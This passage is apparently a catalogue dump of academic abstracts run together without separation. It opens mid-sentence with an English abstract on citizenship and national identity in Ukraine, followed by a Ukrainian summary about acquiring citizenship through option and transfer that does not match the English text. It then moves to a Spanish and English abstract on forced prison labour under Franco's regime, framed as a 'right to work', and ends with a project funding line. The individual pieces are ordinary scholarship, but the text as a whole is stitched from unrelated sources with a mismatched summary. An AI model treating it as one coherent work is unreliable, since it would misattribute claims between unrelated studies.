J.H.H. Weiler etc.) analyzed in their scientific researches a legal concept of citizenship which plays an essential role in constitutional determination of personal identity of a citizen.In order to discuss citizenship-identity interrelation we need to remember that citizenship is not only political, economic, cultural, geographic and social personal identity, but also a legal (constitutional one) and national collective identity, which usually determine «people's legal relationship and effective link to a state».Separate information I'd like to provide in order to demonstrate that question of citizenship as a primary legal aspect of self-identity stays in Ukraine pretty sharp being a special qualified feature of the interrelations between a person, state and society. That is a basic reason why we consider citizenship in this multicultural, multi-religious and multinational country to depend, firstly, on the level of state's legal, geopolitical, socio-economic and demographic development; secondly, on geographical and historical definition and thirdly, on level of civil society participation in citizen's everyday life. It must be not just self-labeling, but concrete example of self-awareness, self-definition and self-consciousness of all Ukrainians.Looking precisely on our modern life from the legal perspective and keeping in mind new trends in modern Ukrainian policy development we and our politicians need to have a conscious sense of state loyalty in order to protect national security and to restore Ukrainian national identity. In this context currently citizenship really is an incredible important issue in Ukraine! ; У статті йдеться про концепцію громадянства, сутність, правову природу та основні способи його набуття. Особливу увагу звернено на оптацію та трансферт як форми набуття громадянства, безпосередньо пов'язані з правонаступництвом держав та терито­ріальними змінами.

Recientes estudios han puesto de manifiesto que durante el franquismo, prisioneros y presos fueron sometidos a trabajos forzados, enmarcados desde 1938 en la institución de la Redención de Penas por el Trabajo. Esta situación se presentó, no obstante, bajo la cobertura jurídica del ejercicio de un derecho: el derecho al trabajo. Aunque no fueran lo mismo la cárcel y la empresa, en todos esos ámbitos el derecho al trabajo desempeñó una tarea similar de control y disciplina de la población, y a poner de manifiesto los contenidos y las particularidades que mostró en las cárceles franquistas es a lo que se dirige este artículo. Su finalidad última es, no obstante, aportar elementos que permitan conocer mejor los aspectos jurídico-políticos del autoritarismo del régimen franquista, y así poder valorar si aún perduran en el actual. Para llevar a cabo este objetivo se procederá, en primer lugar, a indagar en la justificación ideológica que se dio al derecho al trabajo durante el franquismo. Basada en el tradicionalismo religioso y en el nacionalsindicalismo, aquella justificación permitió convertirlo en mecanismo de control y disciplina. En segundo lugar, se analizarán los caracteres específicos del derecho al trabajo en las cárceles franquistas, atendiendo al tratamiento que tuvo en el ordenamiento jurídico del Régimen y en la doctrina jurídica que lo analizó. Este recorrido permitirá concluir que estamos ante la perversión de un mecanismo de emancipación de los individuos, que se ve reducido a una obligación social irresistible y a una forma de redención moral. ; Recent studies have revealed that, during the Franco's regime, prisoners were subjected to forced labor, within the frame of the 1938 'la Redención de Penas por el Trabajo' . However, this situation arose under the legal cover of a right: the 'right to work'. Although prisons and companies are not the same thing, the right to work played a similar task of control and discipline of the population in all these areas. This article tries to analyse the right to work and the particularities that it showed within Franco's prisons. However, its ultimate objective is to understand the political and juridical aspects of the authoritarianism of Franco's regimen in order to asses if they are still present in the Spanish current political system. To carry it out, I will analyse first the ideological justification underlying the right to work under Franco's regime. Based on religious traditionalism and nacional-sindicalism, that ideological justification allowed to make it become a mechanism of control and discipline. Second, I will focus on the specific character of the 'right to work' in Franco's prisons, considering the treatment it had in the legal system of the Regime and in the legal doctrine that analyzed it. All of this will allow us to conclude that at work is the perversion of an emancipating mechanism for individuals reduced to social obligation and to moral redemption. ; Este trabajo se enmarca en el proyecto I+D DER2014-56291-C3-3-P del Programa Estatal de Fomento de la Investigación Científica y Técnica de Excelencia. Subprograma Estatal de Generación del Conocimiento